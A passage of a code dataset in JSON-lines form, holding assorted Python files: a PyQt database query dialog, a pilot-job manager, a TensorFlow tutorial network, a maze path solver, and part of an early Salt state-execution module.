P_{II}^j$')\nplt.xlabel(r'$l$')\nplt.yscale('log')\nplt.legend()\nplt.savefig('logtt.pdf')\nplt.clf()\n\n","sub_path":"analysis/plot_isocurvature_spectra_effects/deriv_iso.py","file_name":"deriv_iso.py","file_ext":"py","file_size_in_byte":3825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"115222111","text":"#! /usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nfrom PyQt4.QtGui import *\r\nfrom PyQt4.QtCore import *\r\nimport pypyodbc\r\nfrom utils import *\r\n\r\n\r\nclass CheckRecordDialog(QDialog):\r\n\r\n def __init__(self, parent=None):\r\n QDialog.__init__(self, parent)\r\n self.setWindowTitle('查询兑换记录')\r\n self.resize(400, 300)\r\n\r\n main_layout = QVBoxLayout()\r\n main_layout.setSpacing(8)\r\n\r\n search_layout = QHBoxLayout()\r\n id_label = QLabel('会员卡号: ')\r\n id_lineEdit = QLineEdit()\r\n ok_btn = QPushButton('确定')\r\n\r\n search_layout.addWidget(id_label)\r\n search_layout.addWidget(id_lineEdit)\r\n search_layout.addWidget(ok_btn)\r\n\r\n content_layout = QVBoxLayout()\r\n listWidget = QListWidget()\r\n content_layout.addWidget(listWidget)\r\n\r\n ok_btn.clicked.connect(lambda: self.search_record(listWidget, id_lineEdit))\r\n main_layout.addLayout(search_layout)\r\n main_layout.addLayout(content_layout)\r\n\r\n self.setLayout(main_layout)\r\n\r\n def search_record(self, listWidget, lineEdit):\r\n listWidget.clear()\r\n # 查询记录表\r\n conn = pypyodbc.connect(\r\n 'driver={SQL Server};server=localhost;database=market;UID=sa;PWD=1234')\r\n\r\n cur = conn.cursor()\r\n\r\n cur.execute('''select count(*) from card where 会员卡号 = ?''', [lineEdit.text()])\r\n for row in cur.fetchall():\r\n if row[0] == 0:\r\n toastWarning(self, '会员卡不存在')\r\n return False\r\n\r\n if lineEdit.text() == \"\":\r\n cur.execute('''select * from record''')\r\n else:\r\n cur.execute('''select * from record where 会员卡号 = ?''', [lineEdit.text()])\r\n\r\n list_record = []\r\n for row in cur.fetchall():\r\n list_record.append(row[1])\r\n\r\n if len(list_record) == 0:\r\n list_record.append('列表为空!')\r\n\r\n listWidget.addItems(list_record)\r\n listWidget.setCurrentRow(0)\r\n\r\n","sub_path":"check_record.py","file_name":"check_record.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"634351801","text":"#!/usr/bin/env python\n\n# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4\n\n__author__ = \"Ole Christian Weidner\"\n__email__ = \"ole.weidner@me.com\"\n__copyright__ = \"Copyright 2011, Ole Christian Weidner\"\n__license__ = \"MIT\"\n\nimport uuid\nfrom bigjob import state, bigjob, subjob, description\n\nclass BigJobState(object):\n '''Possible states'''\n Running=\"Running\" \n New=\"New\" \n Failed=\"Failed\" \n Done=\"Done\" \n Unknown=\"Unknown\" \n\n\nclass BigJobManager(object): \n '''Encapsulates the bigjobs managed by the server'''\n\n def __init__(self, logger):\n self._logger = logger\n self._bigjobs = dict()\n\n def pilot_add(self, pilotjob):\n '''add a pilot job'''\n pid = uuid.uuid4()\n\n if pilotjob.has_key('name') and pilotjob['name'] is not None:\n name = pilotjob['name']\n if name in self._bigjobs.keys():\n raise Exception(\"Pilot job with name '%s' already exists\" % name)\n else:\n # overwrite pid with distinguished name\n pid = name\n \n self._logger.info(\"Adding new pilot job with id '%s'\" % pid )\n\n self._bigjobs[str(pid)] = bigjob(pilotjob['coordination_url'])\n self._bigjobs[str(pid)].pd = pilotjob\n self._bigjobs[str(pid)].start_called = False\n return str(pid)\n\n def pilot_start(self, pid):\n '''start pilot job'''\n self._logger.info(\"Launching pilot job with id '%s'\" % pid )\n bj = self._bigjobs[pid]\n bj.workunits = dict()\n if bj.start_called is True:\n raise Exception(\"Pilot job has been started already\")\n else:\n bj.start_pilot_job(bj.pd['jobmanager_url'],\n None,\n bj.pd['jobmanager_numproc'],\n bj.pd['jobmanager_queue'],\n bj.pd['jobmanager_project'],\n bj.pd['jobmanager_workdir'],\n None, #userproxy,\n bj.pd['jobmanager_walltime'],\n bj.pd['jobmanager_ppn'])\n bj.start_called = True\n \n self._logger.info(\"Pilot job '%s' created with internal id '%s'\" % (pid, bj.app_url) )\n\n\n def pilot_stop(self, pid):\n '''stop pilot job'''\n self._logger.info(\"Stopping pilot job with id '%s'\" % pid )\n\n if pid not in self._bigjobs:\n raise Exception(\"Unknown pilot job id '%s'\" % pid)\n else:\n bj = self._bigjobs[pid]\n bj.cancel()\n \n\n def pilot_get_status(self, pid): \n '''query the state of the pilot job'''\n if pid not in self._bigjobs:\n raise Exception(\"Unknown pilot job id '%s'\" % pid)\n else:\n bj = self._bigjobs[pid]\n if bj.start_called is False:\n return {'state':BigJobState.New, 'workunits':len(bj.workunits)}\n else:\n return {'state':str(bj.get_state()), 'workunits':len(bj.workunits)}\n\n\n def pilot_list(self):\n '''list all big jobs'''\n return self._bigjobs.keys()\n\n\n def workunit_add(self, pid, wud):\n '''add a new workunit to a pilot'''\n if pid not in self._bigjobs:\n raise Exception(\"Unknown pilot job id '%s'\" % pid)\n else:\n bj = self._bigjobs[pid]\n\n wuid = uuid.uuid4()\n self._logger.info(\"Adding new workunit with id '%s' to '%s'\" % (wuid, pid) )\n\n jd = description()\n if wud.has_key('executable') and wud['executable'] is not None:\n jd.executable = wud['executable']\n else:\n raise Exception(\"Workunit doesn't define an executable\")\n \n if wud.has_key('number_of_processes') and wud['number_of_processes'] is not None:\n jd.number_of_processes = str(wud['number_of_processes'])\n \n if wud.has_key('spmd_variation') and wud['spmd_variation'] is not None:\n jd.spmd_variation = wud['spmd_variation']\n \n if wud.has_key('arguments') and wud['arguments'] is not None:\n jd.arguments = wud['arguments']\n \n if wud.has_key('working_direcotry') and wud['working_directory'] is not None:\n jd.working_directory = wud['working_directory']\n \n if wud.has_key('output') and wud['output'] is not None:\n jd.output = wud['output']\n \n if wud.has_key('error') and wud['error'] is not None:\n jd.error = wud['error']\n \n sj = subjob() \n sj.submit_job(bj.pilot_url, jd)\n\n bj.workunits[str(wuid)] = sj\n return str(wuid)\n\n\n def workunit_list(self, pid):\n '''list all work units of pid'''\n if pid not in self._bigjobs:\n raise Exception(\"Unknown pilot job id '%s'\" % pid)\n else:\n bj = self._bigjobs[pid]\n return bj.workunits.keys()\n\n\n def workunit_get_status(self, pid, wuid):\n '''add a new workunit to a pilot'''\n if pid not in self._bigjobs:\n raise Exception(\"Unknown pilot job id '%s'\" % pid)\n if wuid not in self._bigjobs[pid].workunits:\n raise Exception(\"Unknown workunit id '%s'\" % wuid)\n else:\n wu = self._bigjobs[pid].workunits[wuid]\n return {'state':wu.get_state()}\n \n\n \n \n","sub_path":"bigjob-server/bjserver/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":5512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"615067087","text":"import utils\nfrom collections import Counter, defaultdict\nimport h5py\n\nfile_h5 = './data/train.h5'\nf = h5py.File(file_h5, 'r')\nX = f['X'][...]\ny = f['y'][...]\nf.close()\n\n\ndef split_data_sets(X, y, n=25):\n \"\"\"Split training set from test set by keeping the test set balanced\n\n Args:\n X (ndarray): Data sets\n y (ndarray): Data classes\n n (int) Target test set dimension\n \"\"\"\n unhot_y = utils.de_one_hot(y)\n\n c = Counter()\n test_set = []\n test_results = []\n training_set = []\n training_results = []\n\n for i, elem in enumerate(X):\n res = unhot_y[i]\n if c[res] < n:\n test_set.append(elem)\n test_results.append(y[i])\n else:\n training_set.append(elem)\n training_results.append(y[i])\n c[res] += 1\n\n return test_set, test_results, training_set, training_results\n\n\nX_test, y_test, X_traning, y_training = split_data_sets(X, y, 25)\n\n\nfile_h5 = './data/pre_augment_train.h5'\nf = h5py.File(file_h5, 'w')\nf.create_dataset('X', data=X_traning)\nf.create_dataset('y', data=y_training)\nf.close()\n\nfile_h5 = './data/test.h5'\nf = h5py.File(file_h5, 'w')\nf.create_dataset('X', data=X_test)\nf.create_dataset('y', data=y_test)\nf.close()\n","sub_path":"separate-test-set.py","file_name":"separate-test-set.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"595674584","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 30 10:44:12 2020\n\n@author: yly\n\"\"\"\nseq='ATGCGACTACGATCGAGGGCCAT'\na= {'A':'T','T':'A','C':'G','G':'C'}#create dictionary\nb= [a[i]if i in a else i for i in seq]#judge\nd= b[::-1]#using the slice index operation to invert the string\ne= ''.join(d)\nprint('the reverse complementary sequence is:',e)#output the result\n\n","sub_path":"Practical8/reverse complementary sequence.py","file_name":"reverse complementary sequence.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"283915637","text":"from valuation_service.ValuationOperations import ValuationOperations\n\n\nclass ValuationService:\n\n def __init__(self, data='data.csv'):\n self.data = data\n\n def valuate_data(self):\n valuation = ValuationOperations(self.data)\n valuation.check_if_data_files_exist_and_are_correct()\n data_file = valuation.change_data_prices_into_pln_currency()\n data_file = valuation.add_total_price_column(data_file)\n data_dict = valuation.create_dict_with_matching_ids_keys_and_total_prices_values(data_file)\n output_file = valuation.prepare_data_for_output_file(data_dict)\n valuation.write_to_csv_file(output_file, 'top_products.csv')\n\n\nif __name__ == \"__main__\":\n service = ValuationService()\n service.valuate_data()\n","sub_path":"valuation_service/ValuationService.py","file_name":"ValuationService.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"362657992","text":"f = open('/Users/baiweili/Desktop/tempdata1.txt','r')\nf1 = open('per_1','w')\ni = 0\nwhile True:\n line = f.readline()\n if line:\n i += 1\n j = 1\n words = line.split(',')\n for word in words:\n word = ''.join(word.split())\n s = 'insert into head values(1,' + str(j) + ',' + str(i) + ',' + word + ');'\n f1.write(s)\n j += 1\n else:\n break\nf.close()\n","sub_path":"PythonProject/test/test4.py","file_name":"test4.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"213725718","text":"u\"\"\"完整的神经网络样例.\"\"\"\n\nimport tensorflow as tf\nfrom numpy.random import RandomState\n\n# 训练集batch大小\nbatch_size = 8\n\n# 设定训练轮数\nSTEPS = 30000\n\n# 定义神网络的参数\nw1 = tf.Variable(tf.random_normal([2, 3], stddev=1, seed=1, dtype=tf.float64))\nw2 = tf.Variable(tf.random_normal([3, 1], stddev=1, seed=1, dtype=tf.float64))\n\n# w1 = tf.Variable([[1, 1, 1], [1, 1, 1]], dtype=tf.float64)\n# w2 = tf.Variable([[1], [1], [1]], dtype=tf.float64)\n\n# 在shape的一个维度上使用None可以方便使用不大的batch大小\n# 在训练时需要把数据分成比较小的batch,但是在测试时,可以一次性使用全部数据\n# 当数据集比较小时这样比较方便测试,但数据集较大时,将大量数据放入一个batch可能会导致内存溢出\nx = tf.placeholder(tf.float64, shape=(None, 2), name='x-input')\ny_ = tf.placeholder(tf.float64, shape=(None, 1), name='y-input')\n\n# 定义神经网络前向传播的过程\na = tf.matmul(x, w1)\ny = tf.matmul(a, w2)\n\n# 交叉熵: 预测值与真实值的差距\ncross_entropy = -tf.reduce_mean(\n y_ * tf.log(tf.clip_by_value(y, 1e-10, 1.0)))\nlearning_rate = 0.001\n# 反向传播算法,用于优化神经网络中的参数\ntrain_step = tf.train.AdamOptimizer(learning_rate).minimize(cross_entropy)\n\n# 通过随机数生成一个模拟数据集\nrandom = RandomState(1)\ndataset_size = 4096\n# dataset_size * 2的矩阵\nX = random.rand(dataset_size, 2)\n\n# 定义规则来给出样本的标签。在这里所有x1+x2<1的样例都被认为是正样本(比如零件合格),\n# 而其他为负样本(比如零件不合格)。和TensorFlow游乐场中的表示法不大一样的地方是,\n# 在这里使用0表示负样本,1表示正样本。大部分解决分类问题的神经网络都会采用0和1表示法\nY = [[int(x1 + x2 < 1)] for (x1, x2) in X]\n\n# 创建一个会话运行TensorFlow程序\nwith tf.Session() as session:\n init_opt = tf.global_variables_initializer()\n session.run(init_opt)\n\n print('w1:')\n print(session.run(w1))\n print('w2:')\n print(session.run(w2))\n\n for i in range(STEPS):\n # 每次选取batch_size个样本进行训练\n start = (i * batch_size) % dataset_size\n end = min(start + batch_size, dataset_size)\n\n # 通过选取的样本训练神经网络并更新参数\n session.run(train_step,\n feed_dict={x: X[start: end], y_: Y[start: end]})\n\n if i % 1000 == 0:\n # 每隔一段时间计算在所有数据上的交叉熵并输出\n total_cross_entropy = session.run(\n cross_entropy, feed_dict={x: X, y_: Y})\n print(\"After %d training step(s), cross entropy on all data is %g\"\n % (i, total_cross_entropy))\n\n print('w1:')\n print(session.run(w1))\n print('w2:')\n print(session.run(w2))\n\n","sub_path":"tensorflow/practice/3_4_5.py","file_name":"3_4_5.py","file_ext":"py","file_size_in_byte":2862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"483410320","text":"import numpy as np\nimport sys\n\n\ndef change_point(a,b):\n point = a * dim + b\n return point\n\ndef change_back_point(point):\n a = point / dim\n b = point % dim\n return a,b\n\nfilename=str(sys.argv[1])\nwith open(filename, 'rb') as f_in:\n global dim\n dim = int(f_in.next())\n map_info = []\n for line in f_in:\n map_info.append(map(int,line.split(',')))\n map_info = np.array(map_info)\n\ntotal_point = dim * dim \n\n# All the points\nV = np.zeros((dim,dim),dtype=np.int32)\n# All the edges, 0 for connected, 1 for wall\nE = np.ndarray(shape=(total_point,total_point),dtype=np.int32)\n\nE.fill(9999)\n# get the wall done\nfor i in range(dim):\n for j in range(dim):\n x = map_info[i,j]\n up, right, botton, left = False, False, False, False \n if x >= 8:\n left = True\n x -= 8\n if x >= 4:\n botton = True\n x -= 4\n if x >= 2:\n right = True\n x -= 2\n if x >= 1:\n up = True\n if (up and j+1 < dim):\n E[change_point(i,j),change_point(i,j+1)] = 1\n E[change_point(i,j+1),change_point(i,j)] = 1\n if (right and i+1 < dim):\n E[change_point(i,j),change_point(i+1,j)] = 1\n E[change_point(i+1,j),change_point(i,j)] = 1\n if (botton and j-1 >= 0):\n E[change_point(i,j),change_point(i,j-1)] = 1\n E[change_point(i,j-1),change_point(i,j)] = 1\n if (left and i-1 >= 0):\n E[change_point(i,j),change_point(i-1,j)] = 1\n E[change_point(i-1,j),change_point(i,j)] = 1\n\n# before find the shortest, first to load the V and E correctly\ndef know_area(V,E,start,end):\n k = 0\n V_new = []\n getback = []\n for i in range(V.shape[0]):\n for j in range(V.shape[0]):\n if V[i,j] != 0:\n V_new.append(change_point(i,j))\n if change_point(i,j) == start:\n start_new = k\n elif change_point(i,j) == end:\n end_new = k\n getback.append(change_point(i,j))\n k += 1\n E_new = np.ndarray(shape=(len(V_new),len(V_new)),dtype=np.int32)\n E_new.fill(9999)\n for i in range(len(V_new)):\n for j in range(len(V_new)):\n if E[V_new[i],V_new[j]] == 1:\n E_new[i,j] = 1\n return V_new, E_new, start_new, end_new, getback\n\n# Using Dijkstra Algorithm to solve the single_source shortest path\ndef shortest(V,E,start,end,getback):\n w = [ 999 for i in range(len(V))]\n w[start] = 0\n pre = [ 0 for i in range(len(V))]\n Q = set( i for i in range(len(V)))\n\n while len(Q) >0:\n minn = 9999\n for element in Q:\n if w[element] < minn:\n minn = w[element]\n u = element\n Q.remove(u)\n for i in range(E.shape[0]):\n if E[u,i] == 1:\n alt = w[u]+1\n if alt < w[i]:\n w[i] = alt\n pre[i] = u\n #for test\n \n def printout(start,end,prelist):\n if start == end:\n pass\n else:\n new_end=pre[end]\n prelist = printout(start,new_end,prelist) \n prelist.append(end)\n return prelist\n \n prelist = [] \n prelist = printout(start, end, prelist)\n prev = []\n for i in range(len(prelist)):\n prev.append(getback[prelist[i]]) \n return w[end], prev\n'''\n#code for test shortest\nV.fill(1)\nstart = change_point(0,0)\nend = change_point(6,6)\nV_new, E_new, start_new, end_new, getback = know_area(V,E,start,end)\ndistance, prelist = shortest(V_new, E_new, start_new, end_new, getback)\nprint(distance)\n'''\n\n\n\n\ndef reachgoal(now):\n return (now == change_point(dim/2,dim/2) or \\\n now == change_point(dim/2-1,dim/2) or \\\n now == change_point(dim/2,dim/2-1) or \\\n now == change_point(dim/2-1,dim/2-1))\n\ndef run(E,V,now,prev,time):\n nextp = now\n for i in range(E.shape[1]):\n if E[now,i] == 1:\n x,y = change_back_point(i)\n if V[x,y] == 0:\n V[x,y] = 1\n mindis = 9999 \n newmindis = 9999\n prelistmin = []\n out = False\n for i in range(dim):\n for j in range(dim):\n if out:\n pass\n elif V[i,j] == 1:\n if reachgoal(change_point(i,j)):\n V_new, E_new, start_new, end_new, getback = know_area(V,E,now,change_point(i,j))\n greydis, prelist = shortest(V_new, E_new, start_new, end_new, getback) \n mindis = greydis\n prelistmin = prelist\n nextp = change_point(i,j)\n out = True\n\n else:\n newdis = abs(i-dim/2+0.5) + abs(j-dim/2+0.5)\n V_new, E_new, start_new, end_new, getback = know_area(V,E,now,change_point(i,j))\n greydis, prelist = shortest(V_new, E_new, start_new, end_new, getback) \n if newdis < newmindis:\n newmindis = newdis\n mindis = greydis\n prelistmin = prelist\n nextp = change_point(i,j)\n \n #test\n '''\n print('Total time', time)\n print('now',change_back_point(now))\n print('cost time', mindis)\n print('next point',change_back_point(nextp))\n for i in range(len(prelistmin)):\n aa,bb=change_back_point(prelistmin[i])\n print('steps',aa,bb)\n '''\n\n time += mindis\n if time > 1000:\n \tprint('error')\n now = nextp\n prev = prev + prelistmin\n now_x, now_y = change_back_point(now)\n V[now_x, now_y] = 2\n\n return E,V,now,prev,time\n\n\n# initialize\nnow = change_point(0,0)\nnow_x, now_y = change_back_point(now)\nV[now_x, now_y] = 2\ntime1 = 0\nprev1 = []\n# first time walk\nwhile not reachgoal(now):\n E,V,now,prev1,time1 = run(E,V,now,prev1,time1)\n\n\ndef printpre(prev):\n for i in range(len(prev)):\n aa,bb=change_back_point(prev[i])\n print(aa,bb)\n\ntime = time1\n\n#set all the goal to black\nV[dim/2,dim/2] = 2\nV[dim/2-1,dim/2] = 2\nV[dim/2,dim/2-1] = 2\nV[dim/2-1,dim/2-1] = 2\n\ndef finded(E,V):\n V_all = V.copy()\n V_all.fill(2)\n V_new, E_new, start_new, end_new, getback = know_area(V_all,E,change_point(0,0),change_point(dim/2,dim/2))\n short2, short2list = shortest(V_new, E_new, start_new, end_new, getback)\n flag = True\n for i in range(len(short2list)):\n \ta,b=change_back_point(short2list[i])\n \tif V[a,b] != 2:\n \t\tflag = False\n \t\tbreak\n return flag\n\n\n \n\nprev3 = []\ntime3 = 0\nV_new, E_new, start_new, end_new, getback = know_area(V,E,now,change_point(0,0))\nbackdis, prev3 = shortest(V_new, E_new, start_new, end_new, getback)\ntime3 = backdis\nnow = change_point(0,0)\n\n\n\nprev4 = []\ntime4 = 0\nV_new, E_new, start_new, end_new, getback = know_area(V,E,change_point(0,0),change_point(dim/2,dim/2))\ntime4, prev4 = shortest(V_new, E_new, start_new, end_new, getback)\ntime4 = time4 * 2\n\n\n\n\n\n\nprint('time1',time1)\nprint('time3',time3)\nprint('time4',time4)\nprint('score',(time1+time3)/30.0+time4)\n\n\n\nV.fill(1)\nV_new, E_new, start_new, end_new, getback = know_area(V,E,change_point(0,0),change_point(dim/2,dim/2))\ntimeshort, theshortest = shortest(V_new, E_new, start_new, end_new, getback)\nprint('theroy shortest time', timeshort)\nprintpre(theshortest)","sub_path":"micormouse capstion project/code/maze_bench.py","file_name":"maze_bench.py","file_ext":"py","file_size_in_byte":7418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"621755425","text":"'''\nThe module used to execute states in salt. A state is unlike a module execution\nin that instead of just executing a command it ensure that a certain state is\npresent on the system.\n\nThe data sent to the state calls is as follows:\n { 'state': '',\n 'fun': '',\n 'name': ''\n 'argn': ''\n }\n'''\n# Import python modules\nimport os\nimport copy\nimport inspect\nimport tempfile\nimport logging\n# Import Salt modules\nimport salt.loader\nimport salt.minion\n\nlog = logging.getLogger(__name__)\n\ndef format_log(ret):\n '''\n Format the state into a log message\n '''\n msg = ''\n if type(ret) == type(dict()):\n # Looks like the ret may be a valid state return\n if ret.has_key('changes'):\n # Yep, looks like a valid state return\n chg = ret['changes']\n if not chg:\n msg = 'No changes made for {0[name]}'.format(ret)\n elif type(chg) == type(dict()):\n if chg.has_key('diff'):\n if type(chg['diff']) == type(str()):\n msg = 'File changed:\\n{0}'.format(\n chg['diff'])\n if type(chg[chg.keys()[0]]) == type(dict()):\n if chg[chg.keys()[0]].has_key('new'):\n # This is the return data from a package install\n msg = 'Installed Packages:\\n'\n for pkg in chg:\n old = 'absent'\n if chg[pkg]['old']:\n old = chg[pkg]['old']\n msg += '{0} changed from {1} to {2}\\n'.format(\n pkg, old, chg[pkg]['new'])\n if not msg:\n msg = str(ret['changes'])\n if ret['result']:\n log.info(msg)\n else:\n log.error(msg)\n else:\n # catch unhandled data\n log.info(str(ret))\n\nclass StateError(Exception): pass\n\nclass State(object):\n '''\n Class used to execute salt states\n '''\n def __init__(self, opts):\n if not opts.has_key('grains'):\n opts['grains'] = salt.loader.grains(opts)\n self.opts = opts\n self.functions = salt.loader.minion_mods(self.opts)\n self.states = salt.loader.states(self.opts, self.functions)\n self.rend = salt.loader.render(self.opts, self.functions)\n\n def verify_data(self, data):\n '''\n Verify the data, return an error statement if something is wrong\n '''\n errors = []\n if not data.has_key('state'):\n errors.append('Missing \"state\" data')\n if not data.has_key('fun'):\n errors.append('Missing \"fun\" data')\n if not data.has_key('name'):\n errors.append('Missing \"name\" data')\n if errors:\n return errors\n full = data['state'] + '.' + data['fun']\n if not self.states.has_key(full):\n if data.has_key('__sls__'):\n errors.append(\n 'State {0} found in sls {1} is unavailable'.format(\n full,\n data['__sls__']\n )\n )\n else:\n errors.append('Specified state ' + full + ' is unavailable.')\n else:\n aspec = inspect.getargspec(self.states[full])\n arglen = 0\n deflen = 0\n if type(aspec[0]) == type(list()):\n arglen = len(aspec[0])\n if type(aspec[3]) == type(tuple()):\n deflen = len(aspec[3])\n for ind in range(arglen - deflen):\n if not data.has_key(aspec[0][ind]):\n errors.append('Missing paramater ' + aspec[0][ind]\\\n + ' for state ' + full)\n return errors\n\n def verify_high(self, high):\n '''\n Verify that the high data is viable and follows the data structure\n '''\n errors = []\n if not isinstance(high, dict):\n errors.append('High data is not a dictonary and is invalid')\n for name, body in high.items():\n if not isinstance(body, dict):\n err = 'The type {0} is not formated as a dictonary'.format(name)\n errors.append(err)\n continue\n for state, run in body.items():\n pass\n return errors\n\n def verify_chunks(self, chunks):\n '''\n Verify the chunks in a list of low data structures\n '''\n err = []\n for chunk in chunks:\n err += self.verify_data(chunk)\n return err\n\n def format_call(self, data):\n '''\n Formats low data into a list of dict's used to actually call the state,\n returns:\n {\n 'full': 'module.function',\n 'args': [arg[0], arg[1], ...]\n }\n used to call the function like this:\n self.states[ret['full']](*ret['args'])\n\n It is assumed that the passed data has already been verified with\n verify_data\n '''\n ret = {}\n ret['full'] = data['state'] + '.' + data['fun']\n ret['args'] = []\n aspec = inspect.getargspec(self.states[ret['full']])\n arglen = 0\n deflen = 0\n if type(aspec[0]) == type(list()):\n arglen = len(aspec[0])\n if type(aspec[3]) == type(tuple()):\n deflen = len(aspec[3])\n kwargs = {}\n for ind in range(arglen - 1, 0, -1):\n minus = arglen - ind\n if deflen - minus > -1:\n kwargs[aspec[0][ind]] = aspec[3][-minus]\n for arg in kwargs:\n if data.has_key(arg):\n kwargs[arg] = data[arg]\n for arg in aspec[0]:\n if kwargs.has_key(arg):\n ret['args'].append(kwargs[arg])\n else:\n ret['args'].append(data[arg])\n return ret\n\n def compile_high_data(self, high):\n '''\n \"Compile\" the high data as it is retrieved from the cli or yaml into\n the individual state executor structures\n '''\n chunks = []\n for name, body in high.items():\n for state, run in body.items():\n if state.startswith('__'):\n continue\n chunk = {'state': state,\n 'name': name}\n if body.has_key('__sls__'):\n chunk['__sls__'] = body['__sls__']\n funcs = set()\n names = set()\n for arg in run:\n if type(arg) == type(str()):\n funcs.add(arg)\n continue\n if type(arg) == type(dict()):\n for key, val in arg.items():\n if key == 'names':\n names.update(val)\n continue\n else:\n chunk.update(arg)\n if names:\n for name in names:\n live = copy.deepcopy(chunk)\n live['name'] = name\n for fun in funcs:\n live['fun'] = fun\n chunks.append(live)\n else:\n live = copy.deepcopy(chunk)\n for fun in funcs:\n live['fun'] = fun\n chunks.append(live)\n\n return sorted(chunks, key=lambda k: k['state'] + k['name'] + k['fun'])\n\n def compile_template(self, template):\n '''\n Take the path to a template and return the high data structure derived\n from the template.\n '''\n if not isinstance(template, str):\n return {}\n if not os.path.isfile(template):\n return {}\n return self.rend[self.opts['renderer']](template)\n\n def compile_template_str(self, template):\n '''\n Take the path to a template and return the high data structure derived\n from the template.\n '''\n fn_ = tempfile.mkstemp()[1]\n open(fn_, 'w+').write(template)\n high = self.rend[self.opts['renderer']](fn_)\n os.remove(fn_)\n return high\n\n def call(self, data):\n '''\n Call a state directly with the low data structure, verify data before\n processing.\n '''\n log.info(\n 'Executing state {0[state]}.{0[fun]} for {0[name]}'.format(data)\n )\n cdata = self.format_call(data)\n ret = self.states[cdata['full']](*cdata['args'])\n format_log(ret)\n return ret\n\n def call_chunks(self, chunks):\n '''\n Iterate over a list of chunks and call them, checking for requires.\n '''\n running = {}\n for low in chunks:\n running = self.call_chunk(low, running, chunks)\n return running\n\n def check_requires(self, low, running, chunks):\n '''\n Look into the running data to see if the requirement has been met\n '''\n if not low.has_key('require'):\n return 'met'\n reqs = []\n status = 'unmet'\n for req in low['require']:\n for chunk in chunks:\n if chunk['name'] == req[req.keys()[0]]:\n if chunk['state'] == req.keys()[0]:\n reqs.append(chunk)\n fun_stats = []\n for req in reqs:\n tag = req['state'] + '.' + req['name'] + '.' + req['fun']\n if not running.has_key(tag):\n fun_stats.append('unmet')\n else:\n fun_stats.append('met' if running[tag]['result'] else 'fail')\n for stat in fun_stats:\n if stat == 'unmet':\n return stat\n elif stat == 'fail':\n return stat\n return 'met'\n\n def check_watchers(self, low, running, chunks):\n '''\n Look into the running data to see if the watched states have been run\n '''\n if not low.has_key('watch'):\n return 'nochange'\n reqs = []\n status = 'unmet'\n for req in low['watch']:\n for chunk in chunks:\n if chunk['name'] == req[req.keys()[0]]:\n if chunk['state'] == req.keys()[0]:\n reqs.append(chunk)\n fun_stats = []\n for req in reqs:\n tag = req['state'] + '.' + req['name'] + '.' + req['fun']\n if not running.has_key(tag):\n fun_stats.append('unmet')\n else:\n fun_stats.append('change' if running[tag]['changes'] else 'nochange')\n for stat in fun_stats:\n if stat == 'change':\n return stat\n elif stat == 'unmet':\n return stat\n return 'nochange'\n\n def call_chunk(self, low, running, chunks):\n '''\n Check if a chunk has any requires, execute the requires and then the\n chunk\n '''\n tag = low['state'] + '.' + low['name'] + '.' + low['fun']\n if low.has_key('require'):\n status = self.check_requires(low, running, chunks)\n if status == 'unmet':\n reqs = []\n for req in low['require']:\n for chunk in chunks:\n if chunk['name'] == req[req.keys()[0]]:\n if chunk['state'] == req.keys()[0]:\n reqs.append(chunk)\n for chunk in reqs:\n running = self.call_chunk(chunk, running, chunks)\n running = self.call_chunk(low, running, chunks)\n elif status == 'met':\n running[tag] = self.call(low)\n elif status == 'fail':\n running[tag] = {'changes': {},\n 'result': False,\n 'comment': 'One or more require failed'}\n elif low.has_key('watch'):\n status = self.check_watchers(low, running, chunks)\n if status == 'unmet':\n reqs = []\n for req in low['watch']:\n for chunk in chunks:\n if chunk['name'] == req[req.keys()[0]]:\n if chunk['state'] == req.keys()[0]:\n reqs.append(chunk)\n for chunk in reqs:\n running = self.call_chunk(chunk, running, chunks)\n running = self.call_chunk(low, running, chunks)\n elif status == 'nochange':\n running[tag] = self.call(low)\n elif status == 'change':\n ret = self.call(low)\n if not ret['changes']:\n low['fun'] = 'watcher'\n ret = self.call(low)\n running[tag] = ret\n else:\n running[tag] = self.call(low)\n return running\n\n def call_high(self, high):\n '''\n Process a high data call and ensure the defined states.\n '''\n err = []\n rets = []\n errors = self.verify_high(high)\n if errors:\n return errors\n chunks = self.compile_high_data(high)\n errors += self.verify_chunks(chunks)\n if errors:\n return errors\n return self.call_chunks(chunks)\n\n def call_template(self, template):\n '''\n Enforce the states in a template\n '''\n high = self.compile_template(template)\n if high:\n return self.call_high(high)\n return high\n\n def call_template_str(self, template):\n '''\n Enforce the states in a template, pass the template as a string\n '''\n high = self.compile_template_str(template)\n if high:\n return self.call_high(high)\n return high\n\nclass HighState(object):\n '''\n Generate and execute the salt \"High State\". The High State is the compound\n state derived from a group of template files stored on the salt master or\n in a the local cache.\n '''\n def __init__(self, opts):\n self.client = salt.minion.FileClient(opts)\n self.opts = self.__gen_opts(opts)\n self.state = State(self.opts)\n self.matcher = salt.minion.Matcher(self.opts)\n\n def __gen_opts(self, opts):\n '''\n The options used by the High State object are derived from options on\n the minion and the master, or just the minion if the high state call is\n entirely local.\n '''\n # If the state is intended to be applied locally, then the local opts\n # should have all of the needed data, otherwise overwrite the local\n # data items with data from the master\n if opts.has_key('local_state'):\n if opts['local_state']:\n return opts\n mopts = self.client.master_opts()\n opts['renderer'] = mopts['renderer']\n if mopts['state_top'].startswith('salt://'):\n opts['state_top'] = mopts['state_top']\n elif mopts['state_top'].startswith('/'):\n 